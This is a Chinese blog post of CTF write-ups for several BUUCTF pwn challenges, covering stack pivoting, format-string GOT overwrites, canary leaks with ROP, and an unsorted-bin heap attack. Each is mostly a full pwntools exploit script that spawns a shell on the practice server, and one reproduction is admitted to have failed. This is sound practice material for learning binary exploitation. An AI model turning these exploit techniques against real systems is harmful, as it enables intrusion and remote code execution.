BUUCTF刷题2

gyctf_2020_borrowstack:

关键词:栈迁移

使用可控制的地址覆盖ebp的值,使用leave;ret指令所在地址覆盖ret的值,迁移后要填充4或8

read的时候用send

这题首先注意:

1.bss段离plt,got很近,要适当抬高迁移的位置

3.用system拿,估计还得要栈迁移,麻烦,用og简单,

from pwn import*
r=remote('node3.buuoj.cn',26005)
#r=process('./gyctf_2020_borrowstack')
context.log_level = 'debug'
libc=ELF('./libc-2.23.so')
elf=ELF('./gyctf_2020_borrowstack')
pop_rdi=0x400703
leave_ret=0x400699
ret=0x004004c9
bank=0x601080
r.recvuntil('me what you want')
r.send('a'*0x60+p64(bank+0xa0)+p64(leave_ret))
r.recvuntil( 'borrow stack now!')
r.send(p64(0)*0x14+p64(0)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main']))
r.recvline()
puts=u64(r.recv(6).ljust(8,'\x00'))
print hex(puts)
base=puts-libc.sym['puts']
og = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget=base+og[1]
r.send('a'*0x68+p64(one_gadget))
r.interactive()

lonelywolf:(复现失败orz)

混入一道国赛题
赛后跟着这位师傅的wp做,尝试本地复现

遇到了很奇怪的问题
这里我要修改0x250的chunk标记位0xff,理应能改到0x250吧,结果只改到了横线画出来的这两行。
,还有就是我与国赛的链接版本不一样,但是我改链接报错,程序直接坏掉
在这里插入图片描述

一次失败的复现:
一半wp

from pwn import *
local_file  = './lonelywolf'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#-----------------------------------------------------------------
def allocate(size):
 sla('Your choice: ','1')
 sla('Index: ','0')
 sla('Size: ',str(size))
def edit(index,text):
 sla('Your choice: ','2')
 sla('Index: ',str(index))
 sla('Content: ',str(text))
def show(index):
 sla('Your choice: ','3')
 sla('Index: ',str(index))
def delete(index):
 sla('Your choice: ','4')
 sla('Index: ',str(index))
#---------------------------------------------------------------
allocate(0x10)#0
delete(0)
edit(0,'by pass check')
delete(0)
show(0)
ru('Content: ')
heap=uu64(ru('\n')[:-1])
print hex(heap)
#--------------------------------------------------------------
head=heap-0x250
allocate(0x10)
edit(0,p64(head))
allocate(0x10)
allocate(0x10)
edit(0,'\xff'*0x23+'\xff')
#delete(0)
#show(0)
#-------------------------------------------------------------
#allocate(0x80)
#delete(1)
debug()
r.interactive()

axb_2019_fmt32

关键词:格式化字符串漏洞

思路

这题自带循环,没有栈溢出的地方,而且got表可写

进行两次格式化字符串漏洞利用,和一次填写

1.第一次造成任意读,泄露puts的got表,进而泄露libc

2.第二次造成任意写,把strlen的got表改为system

3.第三次写入;/bin/sh,就能开shell

注意点

1.这题alarm为3秒,为方便分析,先使其失效

ctf - pwn题之alarm函数_lifanxin的博客-CSDN博客有三种方法

我用其中一种,用vim打开文件

打开后直接输入/alarm进行搜索

找到后回车,按下i进行编辑,更改为isnan

2.多次运行程序调试测定偏移(包括第二次)

3.第二次格式化字符串利用中,不能一次写进4字地址,分两次,strlen地址的前后顺序由大小决定

from pwn import*
r=remote('node3.buuoj.cn',27679)
context.log_level = 'debug'

elf=ELF('./axb_2019_fmt32')
libc=ELF('./libc-2.23.so')
r.recvuntil('Please tell me:')
r.sendline('a'+p32(elf.got['puts'])+'%8$s')
r.recvuntil(':')
r.recv(5)
got=u32(r.recv(4))
print hex(got)
base=got-libc.sym['puts']
print hex(base)
sys=base+libc.sym['system']
#--------------------------------
strlen=elf.got['strlen']
high_sys=(sys>>16)
low_sys=sys&0xffff
print hex(sys)
print hex(high_sys)
print hex(low_sys)
r.recvuntil('Please tell me:')
#payload='p'+'%'+str(low_sys-10)+'c%15$hn'+'%'+str(high_sys-low_sys)+'c%16$hn'+'pp'
#print len(payload)
#r.sendline(payload+p32(strlen)+p32(strlen+2))
pad='a'+fmtstr_payload(8,{elf.got['strlen']:sys},write_size = "byte",numbwritten = 0xa)
r.sendline(pad)
#-------------------------------
r.recvuntil('Please tell me:')
r.sendline(';/bin/sh')
r.interactive()

小结:忘光光,做的时候花了很久,%nc输入n个数,计算字符数到$(不包括),第二次利用格式出字符串的‘a’是为了对齐?

pwntools工具FmtStr利用:

引用这位师傅文章pwntools FmtStr格式化字符串类使用详解_lifanxin的博客-CSDN博客

64位格式化漏洞要设置一下上下文环境
context.arch = "amd64"
fmtstr_payload(offset, writes, numbwritten=0, write_size="byte")
总共四个参数:
offset --> 偏移量 
writes --> {被覆盖的地址:要写入的地址} 地址都为int型,也就是不需要使用p32或者p64打包
numbwritten --> 已经由printf函数写入的字节数,默认为0
write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少
pro = ELF("./pwn")
printf_got = pro.got["printf"]
system_plt = pro.plt["system"]
pad = fmtstr_payload(offset, {printf_got:system_plt})
p.send(pad)

others_babystack:

关键词:泄露canary,rop

思路

1.首先填充数个a至canary,然后接受直到最后一个a,就能接收canary了

2.然后就能栈溢出,泄露libc

3.og开shell

注意点

由于canary的最后两位是0,puts接受到\x00结束,这里我们用\n代替0,就能带出canary,接收的时候收7个,在右填\x00

小结:

1.ret是在main结束后,才会执行,所以要选一下3,才能打印出got地址

2.不是很明白为啥elf.sym[‘main’]不通,而0x400908行?

3.canary基本形式?0x55dd1e56dddd500

from pwn import*
r=remote('node3.buuoj.cn',26665)
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
#context.log_level='debug'
r.sendlineafter('>> ','1')
r.sendline('a'*0x88)
r.sendlineafter('>> ','2')
r.recvuntil('a\n')
canary=u64(r.recv(7).rjust(8,'\x00'))
print hex(canary)
#------------------------------------------
pop_rdi=0x400a93
r.sendlineafter('>> ','1')
r.sendline('a'*0x88+p64(canary)+'a'*8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(0x400908))
r.sendlineafter('>> ','3')
got=u64(r.recv(8).ljust(8,'\x00'))
print hex(got)
base=got-libc.sym['puts']
print hex(base)
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
#------------------------------------------
r.sendlineafter('>> ','1')
r.sendline('a'*0x88+p64(canary)+'p'*8+p64(base+o_g_old[3]))
r.sendlineafter('>> ','3')
r.interactive()

mrctf2020_easyoverflow:

检查是检查v4是否与他相等

from pwn import*
r=remote('node3.buuoj.cn',27309)
r.sendline('a'*0x30+'n0t_r3@11y_f1@g')
r.interactive()

wustctf2020_getshell_2:

**关键词:**限定字符,用call_system

只能多填12个,程序中有现成的call函数就可以不用返回值了,因为它会自己把下一条指令给压进去

所以用call_system能省略返回值

system(‘sh’)也行

from pwn import*
r=remote('node3.buuoj.cn',29304)
elf=ELF('./wustctf2020_getshell_2')
call_system=0x08048529
r.sendline('a'*0x18+'bbbb'+p32(call_system)+p32(0x08048670))
r.interactive()

hitcontraining_magicheap:

题外话:1.突然发现,vim编辑下,按住shift左右移动,会移动到单词首末

2.才发现,连远端的时候不能gdb.attach调试

关键词:unsortbinattack,堆溢出

参考ctf_wikiUnsorted Bin Attack - CTF Wiki (ctf-wiki.org)

这题利用到unsortbin attack:当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

所以这里实际是把magic改为了unsortbin的地址>1305

思路:

1.申请三个堆,index0,1,2;

0和2大小随意,1大于0x80

2.释放index1,1就会放到unsortbin中,利用堆溢出改index0,溢出把index1的bk改为magic-0x10

unsorted_chunks (av)是链表头的位置

unsorted_chunks (av)->bk = bck; ==> bck=magic-0x10

bck->fd=unsorted_chunks (av) ==> magic=unsotbin的地址

3.在选4869,就可绕过检查,开shell

from pwn import *
#from LibcSearcher import * 
local_file  = './magicheap'
local_libc  = './libc-2.23.so'
remote_libc = './libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node3.buuoj.cn',28307)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#--------------------------------------------------
def create(size,content):
    sla('Your choice :','1')
    sla('Size of Heap : ',str(size))
    sla('Content of heap:',content)
def edit(index,size,content):
    sla('Your choice :','2')
    sla('Index :',str(index))
    sla('Size of Heap : ',str(size))
    sla('Content of heap : ',content)
def delete(index):
    sla('Your choice :','3')
    sla('Index :',str(index))
def exit():
    sla('Your choice :','4')
#----------------------------------------------------
magic=0x6020A0
create(0x10,'aaaa')
create(0x80,'aaaa')
create(0x10,'aaaa')
delete(1)
edit(0,0x30,'a'*0x10+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))
create(0x80,'aaaa')
sla(':','4869')
#debug()
r.interactive()

ciscn_2019_s_4:

关键词:栈迁移,rop,调试

思路

1.第一个read泄露ebp,得知ebp地址及栈地址

2.调试得到ebp与填充的偏移=0xb8-0x80=0x38
在这里插入图片描述

3.第二个read写rop链,system的参数要为/bin/sh\x00的地址

from pwn import*
r=remote('node3.buuoj.cn',29002)
#r=process('./ciscn_s_4')
elf=ELF('./ciscn_s_4')
context.log_level = 'debug'
hack=0x804854b
r.send('a'*0x24+'bbbb')
r.recvuntil('bbbb')
ebp=u32(r.recv(4))
#gdb.attach(r)
print hex(ebp)
#------------------------------
leave_ret=0x080484b8
buf=ebp-0x38
r.send('aaaa'+p32(elf.sym['system'])+p32(0)+p32(buf+0x10)+'/bin/sh\x00')+'a'*(0x24-0x14)+p32(buf)+p32(leave_ret))
r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值